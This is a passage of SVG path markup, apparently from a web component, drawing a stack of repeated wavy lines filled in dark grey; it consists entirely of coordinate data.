181.928 302.528 188.012 291.699 188.012C280.871 188.012 270.095 181.928 259.554 175.998C248.91 170.011 238.501 164.178 228.145 164.178C217.788 164.178 207.378 170.011 196.734 175.998C186.193 181.928 175.416 188.012 164.588 188.012C153.76 188.012 142.984 181.928 132.443 175.998C121.8 170.011 111.39 164.178 101.033 164.178C90.6761 164.178 80.266 170.011 69.6221 175.998C59.0809 181.928 48.3057 188.012 37.4775 188.012C26.6492 188.012 15.8732 181.928 5.33203 175.998C-5.31171 170.011 -15.7215 164.178 -26.0781 164.178C-47.028 164.178 -68.0296 175.969 -89.2656 187.915L-90.002 186.608C-68.8683 174.72 -47.4999 162.678 -26.0781 162.678C-15.2498 162.678 -4.47383 168.762 6.06738 174.691C16.7111 180.679 27.1209 186.512 37.4775 186.512C47.8339 186.512 58.2431 180.679 68.8867 174.691C79.4281 168.762 90.2043 162.678 101.033 162.678C111.862 162.678 122.637 168.762 133.179 174.691C143.822 180.679 154.231 186.512 164.588 186.512C174.944 186.512 185.354 180.679 195.998 174.691C206.54 168.762 217.316 162.678 228.145 162.678C238.973 162.678 249.748 168.762 260.289 174.691C270.933 180.679 281.343 186.512 291.699 186.512C302.056 186.512 312.466 180.679 323.11 174.691C333.652 168.762 344.427 162.678 355.255 162.678Z\"\n            fill=\"#171717\"\n          />\n          <path\n            d=\"M355.255 150.344C366.083 150.344 376.859 156.428 387.4 162.357C398.044 168.345 408.454 174.178 418.811 174.178C439.76 174.178 460.762 162.386 481.998 150.44L482.734 151.747C461.601 163.635 440.232 175.678 418.811 175.678C407.982 175.678 397.206 169.594 386.665 163.664C376.021 157.677 365.611 151.844 355.255 151.844C344.899 151.844 334.489 157.677 323.846 163.664C313.304 169.594 302.528 175.678 291.699 175.678C280.871 175.678 270.095 169.594 259.554 163.664C248.91 157.677 238.501 151.844 228.145 151.844C217.788 151.844 207.378 157.677 196.734 163.664C186.193 169.594 175.416 175.678 164.588 175.678C153.76 175.678 142.984 169.594 132.443 163.664C121.8 157.677 111.39 151.844 101.033 151.844C90.6761 151.844 80.266 157.677 69.6221 163.664C59.0809 169.594 48.3057 175.678 37.4775 175.678C26.6492 175.678 15.8732 169.594 5.33203 163.664C-5.31171 157.677 -15.7215 151.844 -26.0781 151.844C-47.028 151.844 -68.0296 163.635 -89.2656 175.581L-90.002 174.274C-68.8683 162.386 -47.4999 150.344 -26.0781 150.344C-15.2498 150.344 -4.47383 156.428 6.06738 162.357C16.7111 168.345 27.1209 174.178 37.4775 174.178C47.8339 174.178 58.2431 168.345 68.8867 162.357C79.4281 156.428 90.2043 150.344 101.033 150.344C111.862 150.344 122.637 156.428 133.179 162.357C143.822 168.345 154.231 174.178 164.588 174.178C174.944 174.178 185.354 168.345 195.998 162.357C206.54 156.428 217.316 150.344 228.145 150.344C238.973 150.344 249.748 156.428 260.289 162.357C270.933 168.345 281.343 174.178 291.699 174.178C302.056 174.178 312.466 168.345 323.11 162.357C333.652 156.428 344.427 150.344 355.255 150.344Z\"\n            fill=\"#171717\"\n          />\n          <path\n            d=\"M355.255 138.01C366.083 138.01 376.859 144.094 387.4 150.023C398.044 156.011 408.454 161.844 418.811 161.844C439.76 161.844 460.762 150.052 481.998 138.106L482.734 139.413C461.601 151.301 440.232 163.344 418.811 163.344C407.982 163.344 397.206 157.26 386.665 151.33C376.021 145.343 365.611 139.51 355.255 139.51C344.899 139.51 334.489 145.343 323.846 151.33C313.304 157.26 302.528 163.344 291.699 163.344C280.871 163.344 270.095 157.26 259.554 151.33C248.91 145.343 238.501 139.51 228.145 139.51C217.788 139.51 207.378 145.343 196.734 151.33C186.193 157.26 175.416 163.344 164.588 163.344C153.76 163.344 142.984 157.26 132.443 151.33C121.8 145.343 111.39 139.51 101.033 139.51C90.6761 139.51 80.266 145.343 69.6221 151.33C59.0809 157.26 48.3057 163.344 37.4775 163.344C26.6492 163.344 15.8732 157.26 5.33203 151.33C-5.31171 145.343 -15.7215 139.51 -26.0781 139.51C-47.028 139.51 -68.0296 151.301 -89.2656 163.247L-90.002 161.94C-68.8683 150.052 -47.4999 138.01 -26.0781 138.01C-15.2498 138.01 -4.47383 144.094 6.06738 150.023C16.7111 156.011 27.1209 161.844 37.4775 161.844C47.8339 161.844 58.2431 156.011 68.8867 150.023C79.4281 144.094 90.2043 138.01 101.033 138.01C111.862 138.01 122.637 144.094 133.179 150.023C143.822 156.011 154.231 161.844 164.588 161.844C174.944 161.844 185.354 156.011 195.998 150.023C206.54 144.094 217.316 138.01 228.145 138.01C238.973 138.01 249.748 144.094 260.289 150.023C270.933 156.011 281.343 161.844 291.699 161.844C302.056 161.844 312.466 156.011 323.11 150.023C333.652 144.094 344.427 138.01 355.255 138.01Z\"\n            fill=\"#171717\"\n          />\n          <path\n            d=\"M355.255 125.676C366.083 125.676 376.859 131.76 387.4 137.689C398.044 143.677 408.454 149.51 418.811 149.51C439.76 149.51 460.762 137.718 481.998 125.772L482.734 127.079C461.601 138.967 440.232 151.01 418.811 151.01C407.982 151.01 397.206 144.926 386.665 138.996C376.021 133.009 365.611 127.176 355.255 127.176C344.899 127.176 334.489 133.009 323.846 138.996C313.304 144.926 302.528 151.01 291.699 151.01C280.871 151.01 270.095 144.926 259.554 138.996C248.91 133.009 238.501 127.176 228.145 127.176C217.788 127.176 207.378 133.009 196.734 138.996C186.193 144.926 175.416 151.01 164.588 151.01C153.76 151.01 142.984 144.926 132.443 138.996C121.8 133.009 111.39 127.176 101.033 127.176C90.6761 127.176 80.266 133.009 69.6221 138.996C59.0809 144.926 48.3057 151.01 37.4775 151.01C26.6492 151.01 15.8732 144.926 5.33203 138.996C-5.31171 133.009 -15.7215 127.176 -26.0781 127.176C-47.028 127.176 -68.0296 138.967 -89.2656 150.913L-90.002 149.606C-68.8683 137.718 -47.4999 125.676 -26.0781 125.676C-15.2498 125.676 -4.47383 131.76 6.06738 137.689C16.7111 143.677 27.1209 149.51 37.4775 149.51C47.8339 149.51 58.2431 143.677 68.8867 137.689C79.4281 131.76 90.2043 125.676 101.033 125.676C111.862 125.676 122.637 131.76 133.179 137.689C143.822 143.677 154.231 149.51 164.588 149.51C174.944 149.51 185.354 143.677 195.998 137.689C206.54 131.76 217.316 125.676 228.145 125.676C238.973 125.676 249.748 131.76 260.289 137.689C270.933 143.677 281.343 149.51 291.699 149.51C302.056 149.51 312.466 143.677 323.11 137.689C333.652 131.76 344.427 125.676 355.255 125.676Z\"\n            fill=\"#171717\"\n          />\n          <path\n            d=\"M355.255 113.342C366.083 113.342 376.859 119.426 387.4 125.355C398.044 131.343 408.454 137.176 418.811 137.176C439.76 137.176 460.762 125.384 481.998 113.438L482.734 114.745C461.601 126.633 440.232 138.676 418.811 138.676C407.982 138.676 397.206 132.592 386.665 126.662C376.021 120.675 365.611 114.842 355.255 114.842C344.899 114.842 334.489 120.675 323.846 126.662C313.304 132.592 302.528 138.676 291.699 138.676C280.871 138.676 270.095 132.592 259.554 126.662C248.91 120.675 238.501 114.842 228.145 114.842C217.788 114.842 207.378 120.675 196.734 126.662C186.193 132.592 175.416 138.676 164.588 138.676C153.76 138.676 142.984 132.592 132.443 126.662C121.8 120.675 111.39 114.842 101.033 114.842C90.6761 114.842 80.266 120.675 69.6221 126.662C59.0809 132.592 48.3057 138.676 37.4775 138.676C26.6492 138.676 15.8732 132.592 5.33203 126.662C-5.31171 120.675 -15.7215 114.842 -26.0781 114.842C-47.028 114.842 -68.0296 126.633 -89.2656 138.579L-90.002 137.272C-68.8683 125.384 -47.4999 113.342 -26.0781 113.342C-15.2498 113.342 -4.47383 119.426 6.06738 125.355C16.7111 131.343 27.1209 137.176 37.4775 137.176C47.8339 137.176 58.2431 131.343 68.8867 125.355C79.4281 119.426 90.2043 113.342 101.033 113.342C111.862 113.342 122.637 119.426 133.179 125.355C143.822 131.343 154.231 137.176 164.588 137.176C174.944 137.176 185.354 131.343 195.998 125.355C206.54 119.426 217.316 113.342 228.145 113.342C238.973 113.342 249.748 119.426 260.289 125.355C270.933 131.343 281.343 137.176 291.699 137.176C302.056 137.176 312.466 131.343 323.11 125.355C333.652 119.426 344.427 113.342 355.255 113.342Z\"\n            fill=\"#171717\"\n          />\n          <path\n            d=\"M355.255 101.008C366.083 101.008 376.859 107.092 387.4 113.021C398.044 119.009 408.454 124.842 418.811 124.842C439.76 124.842 460.762 113.05 481.998 101.104L482.734 102.411C461.601 114.299 440.232 126.342 418.811 126.342C407.982 126.342 397.206 120.258 386.665 114.328C376.021 108.341 365.611 102.508 355.255 102.508C344.899 102.508 334.489 108.341 323.846 114.328C313.304 120.258 302.528 126.342 291.699 126.342C280.871 126.342 270.095 120.258 259.554 114.328C248.91 108.341 238.501 102.508 228.145 102.508C217.788 102.508 207.378 108.341 196.734 114.328C186.193 120.258 175.416 126.342 164.588 126.342C153.76 126.342 142.984 120.258 132.443 114.328C121.8 108.341 111.39 102.508 101.033 102.508C90.6761 102.508 80.266 108.341 69.6221 114.328C59.0809 120.258 48.3057 126.342 37.4775 126.342C26.6492 126.342 15.8732 120.258 5.33203 114.328C-5.31171 108.341 -15.7215 102.508 -26.0781 102.508C-47.028 102.508 -68.0296 114.299 -89.2656 126.245L-90.002 124.938C-68.8683 113.05 -47.4999 101.008 -26.0781 101.008C-15.2498 101.008 -4.47383 107.092 6.06738 113.021C16.7111 119.009 27.1209 124.842 37.4775 124.842C47.8339 124.842 58.2431 119.009 68.8867 113.021C79.4281 107.092 90.2043 101.008 101.033 101.008C111.862 101.008 122.637 107.092 133.179 113.021C143.822 119.009 154.231 124.842 164.588 124.842C174.944 124.842 185.354 119.009 195.998 113.021C206.54 107.092 217.316 101.008 228.145 101.008C238.973 101.008 249.748 107.092 260.289 113.021C270.933 119.009 281.343 124.842 291.699 124.842C302.056 124.842 312.466 119.009 323.11 113.021C333.652 107.092 344.427 101.008 355.255 101.008Z\"\n            fill=\"#171717\"\n          />\n          <path\n            d=\"M355.255 88.6738C366.083 88.6738 376.859 94.7578 387.4 100.688C398.044 106.675 408.454 112.508 418.811 112.508C439.76 112.508 460.762 100.716 481.998 88.7705L482.734 90.0771C461.601 101.965 440.232 114.008 418.811 114.008C407.982 114.008 397.206 107.924 386.665 101.994C376.021 96.0068 365.611 90.1738 355.255 90.1738C344.899 90.174 334.489 96.0069 323.846 101.994C313.304 107.924 302.528 114.008 291.699 114.008C280.871 114.008 270.095 107.924 259.554 101.994C248.91 96.0069 238.501 90.1739 228.145 90.1738C217.788 90.1738 207.378 96.0069 196.734 101.994C186.193 107.924 175.416 114.008 164.588 114.008C153.76 114.008 142.984 107.924 132.443 101.994C121.8 96.0068 111.39 90.1738 101.033 90.1738C90.6761 90.1738 80.266 96.0068 69.6221 101.994C59.0809 107.924 48.3057 114.008 37.4775 114.008C26.6492 114.008 15.8732 107.924 5.33203 101.994C-5.31171 96.0068 -15.7215 90.1738 -26.0781 90.1738C-47.028 90.174 -68.0296 101.965 -89.2656 113.911L-90.002 112.604C-68.8683 100.716 -47.4999 88.674 -26.0781 88.6738C-15.2498 88.6738 -4.47383 94.7578 6.06738 100.688C16.7111 106.675 27.1209 112.508 37.4775 112.508C47.8339 112.508 58.2431 106.675 68.8867 100.688C79.4281 94.7578 90.2043 88.6738 101.033 88.6738C111.862 88.6738 122.637 94.7578 133.179 100.688C143.822 106.675 154.231 112.508 164.588 112.508C174.944 112.508 185.354 106.675 195.998 100.688C206.54 94.7578 217.316 88.6738 228.145 88.6738C238.973 88.6739 249.748 94.7579 260.289 100.688C270.933 106.675 281.343 112.508 291.699 112.508C302.056 112.508 312.466 106.675 323.11 100.688C333.652 94.7579 344.427 88.674 355.255 88.6738Z\"\n            fill=\"#171717\"\n          />\n          <path\n            d=\"M355.255 76.3398C366.083 76.3398 376.859 82.4239 387.4 88.3535C398.044 94.3408 408.454 100.174 418.811 100.174C439.76 100.174 460.762 88.3822 481.998 76.4365L482.734 77.7432C461.601 89.6313 440.232 101.674 418.811 101.674C407.982 101.674 397.206 95.5898 386.665 89.6602C376.021 83.6728 365.611 77.8398 355.255 77.8398C344.899 77.84 334.489 83.673 323.846 89.6602C313.304 95.5898 302.528 101.674 291.699 101.674C280.871 101.674 270.095 95.5898 259.554 89.6602C248.91 83.6729 238.501 77.84 228.145 77.8398C217.788 77.8398 207.378 83.6729 196.734 89.6602C186.193 95.5898 175.416 101.674 164.588 101.674C153.76 101.674 142.984 95.5897 132.443 89.6602C121.8 83.6728 111.39 77.8398 101.033 77.8398C90.6761 77.8398 80.266 83.6728 69.6221 89.6602C59.0809 95.5897 48.3057 101.674 37.4775 101.674C26.6492 101.674 15.8732 95.5898 5.33203 89.6602C-5.31171 83.6728 -15.7215 77.8398 -26.0781 77.8398C-47.028 77.84 -68.0296 89.6315 -89.2656 101.577L-90.002 100.271C-68.8683 88.3824 -47.4999 76.34 -26.0781 76.3398C-15.2498 76.3398 -4.47383 82.4239 6.06738 88.3535C16.7111 94.3408 27.1209 100.174 37.4775 100.174C47.8339 100.174 58.2431 94.3407 68.8867 88.3535C79.4281 82.4239 90.2043 76.3398 101.033 76.3398C111.862 76.3398 122.637 82.4239 133.179 88.3535C143.822 94.3407 154.231 100.174 164.588 100.174C174.944 100.174 185.354 94.3408 195.998 88.3535C206.54 82.4239 217.316 76.3398 228.145 76.3398C238.973 76.34 249.748 82.4239 260.289 88.3535C270.933 94.3409 281.343 100.174 291.699 100.174C302.056 100.174 312.466 94.3409 323.11 88.3535C333.652 82.424 344.427 76.34 355.255 76.3398Z\"\n            fill=\"#171717\"\n          />\n          <path\n            d=\"M355.255 64.0059C366.083 64.0059 376.859 70.0899 387.4 76.0195C398.044 82.0069 408.454 87.8398 418.811 87.8398C439.76 87.8397 460.762 76.0482 481.998 64.1025L482.734 65.4092C461.601 77.2973 440.232 89.3397 418.811 89.3398C407.982 89.3398 397.206 83.2558 386.665 77.3262C376.021 71.3388 365.611 65.5059 355.255 65.5059C344.899 65.506 334.489 71.339 323.846 77.3262C313.304 83.2558 302.528 89.3398 291.699 89.3398C280.871 89.3398 270.095 83.2558 259.554 77.3262C248.91 71.339 238.501 65.506 228.145 65.5059C217.788 65.5059 207.378 71.3389 196.734 77.3262C186.193 83.2558 175.416 89.3398 164.588 89.3398C153.76 89.3397 142.984 83.2557 132.443 77.3262C121.8 71.3388 111.39 65.5059 101.033 65.5059C90.6761 65.5059 80.266 71.3388 69.6221 77.3262C59.0809 83.2557 48.3057 89.3397 37.4775 89.3398C26.6492 89.3398 15.8732 83.2558 5.33203 77.3262C-5.31171 71.3388 -15.7215 65.5059 -26.0781 65.5059C-47.028 65.506 -68.0296 77.2975 -89.2656 89.2432L-90.002 87.9365C-68.8683 76.0484 -47.4999 64.006 -26.0781 64.0059C-15.2498 64.0059 -4.47383 70.0899 6.06738 76.0195C16.7111 82.0069 27.1209 87.8398 37.4775 87.8398C47.8339 87.8397 58.2431 82.0067 68.8867 76.0195C79.4281 70.0899 90.2043 64.0059 101.033 64.0059C111.862 64.0059 122.637 70.0899 133.179 76.0195C143.822 82.0067 154.231 87.8397 164.588 87.8398C174.944 87.8398 185.354 82.0068 195.998 76.0195C206.54 70.0899 217.316 64.0059 228.145 64.0059C238.973 64.006 249.748 70.09 260.289 76.0195C270.933 82.0069 281.343 87.8398 291.699 87.8398C302.056 87.8398 312.466 82.0069 323.11 76.0195C333.652 70.09 344.427 64.006 355.255 64.0059Z\"\n            fill=\"#171717\"\n          />\n          <path\n            d=\"M355.255 51.6719C366.083 51.6719 376.859 57.7559 387.4 63.6855C398.044 69.6729 408.454 75.5059 418.811 75.5059C439.76 75.5057 460.762 63.7142 481.998 51.7686L482.734 53.0752C461.601 64.9633 440.232 77.0057 418.811 77.0059C407.982 77.0059 397.206 70.9218 386.665 64.9922C376.021 59.0049 365.611 53.1719 355.255 53.1719C344.899 53.172 334.489 59.005 323.846 64.9922C313.304 70.9218 302.528 77.0059 291.699 77.0059C280.871 77.0059 270.095 70.9218 259.554 64.9922C248.91 59.005 238.501 53.172 228.145 53.1719C217.788 53.1719 207.378 59.0049 196.734 64.9922C186.193 70.9218 175.416 77.0059 164.588 77.0059C153.76 77.0057 142.984 70.9218 132.443 64.9922C121.8 59.0048 111.39 53.1719 101.033 53.1719C90.6761 53.1719 80.266 59.0048 69.6221 64.9922C59.0809 70.9217 48.3057 77.0057 37.4775 77.0059C26.6492 77.0059 15.8732 70.9218 5.33203 64.9922C-5.31171 59.0049 -15.7215 53.1719 -26.0781 53.1719C-47.028 53.172 -68.0296 64.9635 -89.2656 76.9092L-90.002 75.6025C-68.8683 63.7144 -47.4999 51.672 -26.0781 51.6719C-15.2498 51.6719 -4.47383 57.7559 6.06738 63.6855C16.7111 69.6729 27.1209 75.5059 37.4775 75.5059C47.8339 75.5057 58.2431 69.6727 68.8867 63.6855C79.4281 57.7559 90.2043 51.6719 101.033 51.6719C111.862 51.6719 122.637 57.7559 133.179 63.6855C143.822 69.6728 154.231 75.5057 164.588 75.5059C174.944 75.5059 185.354 69.6728 195.998 63.6855C206.54 57.7559 217.316 51.6719 228.145 51.6719C238.973 51.672 249.748 57.756 260.289 63.6855C270.933 69.6729 281.343 75.5059 291.699 75.5059C302.056 75.5059 312.466 69.6729 323.11 63.6855C333.652 57.756 344.427 51.672 355.255 51.6719Z\"\n            fill=\"#171717\"\n          />\n          <path\n            d=\"M355.255 39.3379C366.083 39.3379 376.859 45.4219 387.4 51.3516C398.044 57.3389 408.454 63.1719 418.811 63.1719C439.76 63.1717 460.762 51.3803 481.998 39.4346L482.734 40.7412C461.601 52.6293 440.232 64.6717 418.811 64.6719C407.982 64.6719 397.206 58.5879 386.665 52.6582C376.021 46.6709 365.611 40.8379 355.255 40.8379C344.899 40.838 334.489 46.671 323.846 52.6582C313.304 58.5879 302.528 64.6719 291.699 64.6719C280.871 64.6719 270.095 58.5879 259.554 52.6582C248.91 46.671 238.501 40.838 228.145 40.8379C217.788 40.8379 207.378 46.671 196.734 52.6582C186.193 58.5879 175.416 64.6719 164.588 64.6719C153.76 64.6718 142.984 58.5878 132.443 52.6582C121.8 46.6709 111.39 40.8379 101.033 40.8379C90.6761 40.8379 80.266 46.6709 69.6221 52.6582C59.0809 58.5878 48.3057 64.6718 37.4775 64.6719C26.6492 64.6719 15.8732 58.5879 5.33203 52.6582C-5.31171 46.6709 -15.7215 40.8379 -26.0781 40.8379C-47.028 40.838 -68.0296 52.6295 -89.2656 64.5752L-90.002 63.2686C-68.8683 51.3805 -47.4999 39.338 -26.0781 39.3379C-15.2498 39.3379 -4.47383 45.4219 6.06738 51.3516C16.7111 57.3389 27.1209 63.1719 37.4775 63.1719C47.8339 63.1718 58.2431 57.3388 68.8867 51.3516C79.4281 45.4219 90.2043 39.3379 101.033 39.3379C111.862 39.3379 122.637 45.4219 133.179 51.3516C143.822 57.3388 154.231 63.1718 164.588 63.1719C174.944 63.1719 185.354 57.3388 195.998 51.3516C206.54 45.4219 217.316 39.3379 228.145 39.3379C238.973 39.338 249.748 45.422 260.289 51.3516C270.933 57.3389 281.343 63.1719 291.699 63.1719C302.056 63.1719 312.466 57.3389 323.11 51.3516C333.652 45.422 344.427 39.338 355.255 39.3379Z\"\n            fill=\"#171717\"\n          />\n          <path\n            d=\"M355.255 27.0039C366.083 27.0039 376.859 33.0879 387.4 39.0176C398.044 45.0049 408.454 50.8379 418.811 50.8379C439.76 50.8378 460.762 39.0463 481.998 27.1006L482.734 28.4072C461.601 40.2953 440.232 52.3378 418.811 52.3379C407.982 52.3379 397.206 46.2539 386.665 40.3242C376.021 34.3369 365.611 28.5039 355.255 28.5039C344.899 28.504 334.489 34.337 323.846 40.3242C313.304 46.2539 302.528 52.3379 291.699 52.3379C280.871 52.3379 270.095 46.2539 259.554 40.3242C248.91 34.337 238.501 28.504 228.145 28.5039C217.788 28.5039 207.378 34.337 196.734 40.3242C186.193 46.2539 175.416 52.3379 164.588 52.3379C153.76 52.3378 142.984 46.2538 132.443 40.3242C121.8 34.3369 111.39 28.5039 101.033 28.5039C90.6761 28.5039 80.266 34.3369 69.6221 40.3242C59.0809 46.2538 48.3057 52.3378 37.4775 52.3379C26.6492 52.3379 15.8732 46.2539 5.33203 40.3242C-5.31171 34.3369 -15.7215 28.5039 -26.0781 28.5039C-47.028 28.504 -68.0296 40.2955 -89.2656 52.2412L-90.002 50.9346C-68.8683 39.0465 -47.4999 27.004 -26.0781 27.0039C-15.2498 27.0039 -4.47383 33.0879 6.06738 39.0176C16.7111 45.0049 27.1209 50.8379 37.4775 50.8379C47.8339 50.8378 58.2431 45.0048 68.8867 39.0176C79.4281 33.0879 90.2043 27.0039 101.033 27.0039C111.862 27.0039 122.637 33.0879 133.179 39.0176C143.822 45.0048 154.231 50.8378 164.588 50.8379C174.944 50.8379 185.354 45.0048 195.998 39.0176C206.54 33.0879 217.316 27.0039 228.145 27.0039C238.973 27.004 249.748 33.088 260.289 39.0176C270.933 45.0049 281.343 50.8379 291.699 50.8379C302.056 50.8379 312.466 45.0049 323.11 39.0176C333.652 33.088 344.427 27.004 355.255 27.0039Z\"\n            fill=\"#171717\"\n          />\n          <path\n            d=\"M355.255 14.6699C366.083 14.6699 376.859 20.7539 387.4 26.6836C398.044 32.6709 408.454 38.5039 418.811 38.5039C439.76 38.5038 460.762 26.7123 481.998 14.7666L482.734 16.0732C461.601 27.9613 440.232 40.0038 418.811 40.0039C407.982 40.0039 397.206 33.9199 386.665 27.9902C376.021 22.0029 365.611 16.1699 355.255 16.1699C344.899 16.17 334.489 22.003 323.846 27.9902C313.304 33.9199 302.528 40.0039 291.699 40.0039C280.871 40.0039 270.095 33.9199 259.554 27.9902C248.91 22.003 238.501 16.17 228.145 16.1699C217.788 16.1699 207.378 22.003 196.734 27.9902C186.193 33.9199 175.416 40.0039 164.588 40.0039C153.76 40.0038 142.984 33.9198 132.443 27.9902C121.8 22.0029 111.39 16.1699 101.033 16.1699C90.6761 16.1699 80.266 22.0029 69.6221 27.9902C59.0809 33.9198 48.3057 40.0038 37.4775 40.0039C26.6492 40.0039 15.8732 33.9199 5.33203 27.9902C-5.31171 22.0029 -15.7215 16.1699 -26.0781 16.1699C-47.028 16.17 -68.0296 27.9615 -89.2656 39.9072L-90.002 38.6006C-68.8683 26.7125 -47.4999 14.67 -26.0781 14.6699C-15.2498 14.6699 -4.47383 20.7539 6.06738 26.6836C16.7111 32.6709 27.1209 38.5039 37.4775 38.5039C47.8339 38.5038 58.2431 32.6708 68.8867 26.6836C79.4281 20.7539 90.2043 14.6699 101.033 14.6699C111.862 14.6699 122.637 20.7539 133.179 26.6836C143.822 32.6708 154.231 38.5038 164.588 38.5039C174.944 38.5039 185.354 32.6708 195.998 26.6836C206.54 20.7539 217.316 14.6699 228.145 14.6699C238.973 14.67 249.748 20.754 260.289 26.6836C270.933 32.6709 281.343 38.5039 291.699 38.5039C302.056 38.5039 312.466 32.6709 323.11 26.6836C333.652 20.754 344.427 14.67 355.255 14.6699Z\"\n            fill=\"#171717\"\n          />\n          <path\n            d=\"M355.255 2.33594C366.083 2.33594 376.859 8.41996 387.4 14.3496C398.044 20.3369 408.454 26.1699 418.811 26.1699C439.76 26.1698 460.762 14.3783 481.998 2.43262L482.734 3.73926C461.601 15.6273 440.232 27.6698 418.811 27.6699C407.982 27.6699 397.206 21.5859 386.665 15.6562C376.021 9.66893 365.611 3.83594 355.255 3.83594C344.899 3.83606 334.489 9.66905 323.846 15.6562C313.304 21.5859 302.528 27.6699 291.699 27.6699C280.871 27.6699 270.095 21.5859 259.554 15.6562C248.91 9.66904 238.501 3.83605 228.145 3.83594C217.788 3.83594 207.378 9.669 196.734 15.6562C186.193 21.5859 175.416 27.6699 164.588 27.6699C153.76 27.6698 142.984 21.5858 132.443 15.6562C121.8 9.6689 111.39 3.83594 101.033 3.83594C90.6761 3.83594 80.266 9.66891 69.6221 15.6562C59.0809 21.5858 48.3057 27.6698 37.4775 27.6699C26.6492 27.6699 15.8732 21.5859 5.33203 15.6562C-5.31171 9.66893 -15.7215 3.83594 -26.0781 3.83594C-47.028 3.83606 -68.0296 15.6276 -89.2656 27.5732L-90.002 26.2666C-68.8683 14.3785 -47.4999 2.33606 -26.0781 2.33594C-15.2498 2.33594 -4.47383 8.41996 6.06738 14.3496C16.7111 20.3369 27.1209 26.1699 37.4775 26.1699C47.8339 26.1698 58.2431 20.3368 68.8867 14.3496C79.4281 8.41996 90.2043 2.33594 101.033 2.33594C111.862 2.33594 122.637 8.41996 133.179 14.3496C143.822 20.3368 154.231 26.1698 164.588 26.1699C174.944 26.1699 185.354 20.3369 195.998 14.3496C206.54 8.41996 217.316 2.33594 228.145 2.33594C238.973 2.33605 249.748 8.42004 260.289 14.3496C270.933 20.337 281.343 26.1699 291.699 26.1699C302.056 26.1699 312.466 20.337 323.11 14.3496C333.652 8.42006 344.427 2.33606 355.255 2.33594Z\"\n            fill=\"#171717\"\n          />\n          <path\n            d=\"M355.255 -9.99805C366.083 -9.99805 376.859 -3.91403 387.4 2.01562C398.044 8.00295 408.454 13.8359 418.811 13.8359C439.76 13.8358 460.762 2.04432 481.998 -9.90137L482.734 -8.59473C461.601 3.29336 440.232 15.3358 418.811 15.3359C407.982 15.3359 397.206 9.25192 386.665 3.32227C376.021 -2.66506 365.611 -8.49805 355.255 -8.49805C344.899 -8.49792 334.489 -2.66493 323.846 3.32227C313.304 9.25192 302.528 15.3359 291.699 15.3359C280.871 15.3359 270.095 9.25192 259.554 3.32227C248.91 -2.66495 238.501 -8.49793 228.145 -8.49805C217.788 -8.49805 207.378 -2.66498 196.734 3.32227C186.193 9.25192 175.416 15.3359 164.588 15.3359C153.76 15.3358 142.984 9.25184 132.443 3.32227C121.8 -2.66508 111.39 -8.49805 101.033 -8.49805C90.6761 -8.49804 80.266 -2.66508 69.6221 3.32227C59.0809 9.25182 48.3057 15.3358 37.4775 15.3359C26.6492 15.3359 15.8732 9.25192 5.33203 3.32227C-5.31171 -2.66506 -15.7215 -8.49805 -26.0781 -8.49805C-47.028 -8.49792 -68.0296 3.29357 -89.2656 15.2393L-90.002 13.9326C-68.8683 2.04453 -47.4999 -9.99792 -26.0781 -9.99805C-15.2498 -9.99805 -4.47383 -3.91403 6.06738 2.01562C16.7111 8.00295 27.1209 13.8359 37.4775 13.8359C47.8339 13.8358 58.2431 8.00282 68.8867 2.01562C79.4281 -3.91403 90.2043 -9.99804 101.033 -9.99805C111.862 -9.99805 122.637 -3.91403 133.179 2.01562C143.822 8.00284 154.231 13.8358 164.588 13.8359C174.944 13.8359 185.354 8.00287 195.998 2.01562C206.54 -3.91403 217.316 -9.99805 228.145 -9.99805C238.973 -9.99793 249.748 -3.91395 260.289 2.01562C270.933 8.00297 281.343 13.8359 291.699 13.8359C302.056 13.8359 312.466 8.00297 323.11 2.01562C333.652 -3.91393 344.427 -9.99792 355.255 -9.99805Z\"\n            fill=\"#171717\"\n          />\n          <path\n            d=\"M355.255 -22.332C366.083 -22.332 376.859 -16.248 387.4 -10.3184C398.044 -4.33103 408.454 1.50195 418.811 1.50195C439.76 1.50183 460.762 -10.2897 481.998 -22.2354L482.734 -20.9287C461.601 -9.04062 440.232 3.00183 418.811 3.00195C407.982 3.00195 397.206 -3.08207 386.665 -9.01172C376.021 -14.999 365.611 -20.832 355.255 -20.832C344.899 -20.8319 334.489 -14.9989 323.846 -9.01172C313.304 -3.08206 302.528 3.00195 291.699 3.00195C280.871 3.00195 270.095 -3.08207 259.554 -9.01172C248.91 -14.9989 238.501 -20.8319 228.145 -20.832C217.788 -20.832 207.378 -14.999 196.734 -9.01172C186.193 -3.08207 175.416 3.00195 164.588 3.00195C153.76 3.00183 142.984 -3.08215 132.443 -9.01172C121.8 -14.9991 111.39 -20.832 101.033 -20.832C90.6761 -20.832 80.266 -14.9991 69.6221 -9.01172C59.0809 -3.08217 48.3057 3.00183 37.4775 3.00195C26.6492 3.00195 15.8732 -3.08207 5.33203 -9.01172C-5.31171 -14.999 -15.7215 -20.832 -26.0781 -20.832C-47.028 -20.8319 -68.0296 -9.04041 -89.2656 2.90527L-90.002 1.59863C-68.8683 -10.2895 -47.4999 -22.3319 -26.0781 -22.332C-15.2498 -22.332 -4.47383 -16.248 6.06738 -10.3184C16.7111 -4.33103 27.1209 1.50195 37.4775 1.50195C47.8339 1.50183 58.2431 -4.33116 68.8867 -10.3184C79.4281 -16.248 90.2043 -22.332 101.033 -22.332C111.862 -22.332 122.637 -16.248 133.179 -10.3184C143.822 -4.33114 154.231 1.50183 164.588 1.50195C174.944 1.50195 185.354 -4.33111 195.998 -10.3184C206.54 -16.248 217.316 -22.332 228.145 -22.332C238.973 -22.3319 249.748 -16.2479 260.289 -10.3184C270.933 -4.33101 281.343 1.50195 291.699 1.50195C302.056 1.50195 312.466 -4.33101 323.11 -10.3184C333.652 -16.2479 344.427 -22.3319 355.255 -22.332Z\"\n            fill=\"#171717\"\n          />\n          <path\n            d=\"M355.255 -34.666C366.083 -34.666 376.859 -28.582 387.4 -22.6523C398.044 -16.665 408.454 -10.832 418.811 -10.832C439.76 -10.8322 460.762 -22.6236 481.998 -34.5693L482.734 -33.2627C461.601 -21.3746 440.232 -9.33216 418.811 -9.33203C407.982 -9.33203 397.206 -15.4161 386.665 -21.3457C376.021 -27.333 365.611 -33.166 355.255 -33.166C344.899 -33.1659 334.489 -27.3329 323.846 -21.3457C313.304 -15.416 302.528 -9.33203 291.699 -9.33203C280.871 -9.33203 270.095 -15.4161 259.554 -21.3457C248.91 -27.3329 238.501 -33.1659 228.145 -33.166C217.788 -33.166 207.378 -27.333 196.734 -21.3457C186.193 -15.4161 175.416 -9.33203 164.588 -9.33203C153.76 -9.33215 142.984 -15.4161 132.443 -21.3457C121.8 -27.3331 111.39 -33.166 101.033 -33.166C90.6761 -33.166 80.266 